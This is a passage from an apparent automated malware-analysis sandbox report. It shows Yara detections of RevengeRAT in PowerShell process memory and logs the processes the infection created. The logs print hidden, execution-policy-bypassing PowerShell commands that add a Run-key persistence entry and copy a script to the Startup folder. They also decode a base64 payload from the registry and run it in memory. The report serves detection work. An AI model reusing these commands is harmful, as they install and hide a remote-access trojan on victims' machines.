Source: Yara match File source: 0000001C.00000002.436983924.000000000291F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.418672455.000000000292D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.000000000261D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.1046335192.0000000002A23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.1046335192.00000000026FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.432730170.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3864, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3952, type: MEMORYSTR

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 0000001C.00000002.436983924.000000000291F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 00000015.00000002.418650653.0000000001E00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 00000015.00000002.418672455.000000000292D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 0000000E.00000002.432730170.000000000261D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 00000027.00000002.1046335192.0000000002A23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 00000027.00000002.1046335192.00000000026FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3864, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2688, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3952, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE File created: C:\Users\user\AppData\Roaming\RG.js Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js'));wscript 'C:\Users\user\AppData\Roaming\RG.js'"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js'));wscript 'C:\Users\user\AppData\Roaming\RG.js'" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Abnormal high CPU Usage
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE8A123A7D 12_2_000007FE8A123A7D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE8A123A8D 12_2_000007FE8A123A8D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE8A1F0102 12_2_000007FE8A1F0102
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_000007FE8A129C26 14_2_000007FE8A129C26
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_000007FE8A12AA1B 14_2_000007FE8A12AA1B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_000007FE8A1259A8 14_2_000007FE8A1259A8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_000007FE8A129756 14_2_000007FE8A129756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_000007FE8A1F183F 14_2_000007FE8A1F183F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 32_2_000007FE8A103327 32_2_000007FE8A103327
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DFBE9ABBD2E604BAEC.TMP.4.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Yara signature match
Source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 21.2.powershell.exe.1e00000.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 28.2.powershell.exe.2a0eff8.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 21.2.powershell.exe.1e00000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 39.2.powershell.exe.28131d0.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 14.2.powershell.exe.2755020.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 21.2.powershell.exe.2a1d128.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 39.2.powershell.exe.2b132a8.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 14.2.powershell.exe.2755020.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 28.2.powershell.exe.2a0eff8.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 21.2.powershell.exe.2a1d128.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 39.2.powershell.exe.28131d0.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
Source: 39.2.powershell.exe.2b132a8.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_RevengeRAT author = ditekSHen, description = RevengeRAT and variants payload, snort_sid = 920000-920002
Source: 0000001C.00000002.436983924.000000000291F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Revengerat_db91bcc6 reference_sample = 30d8f81a19976d67b495eb1324372598cc25e1e69179c11efa22025341e455bd, os = windows, severity = x86, creation_date = 2021-09-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Revengerat, fingerprint = 9c322655f50c32b9be23accd2b38fbda43c280284fbf05a5a5c98458c2bab666, id = db91bcc6-024d-42da-8d0a-bd69374bf622, last_modified = 2022-01-13
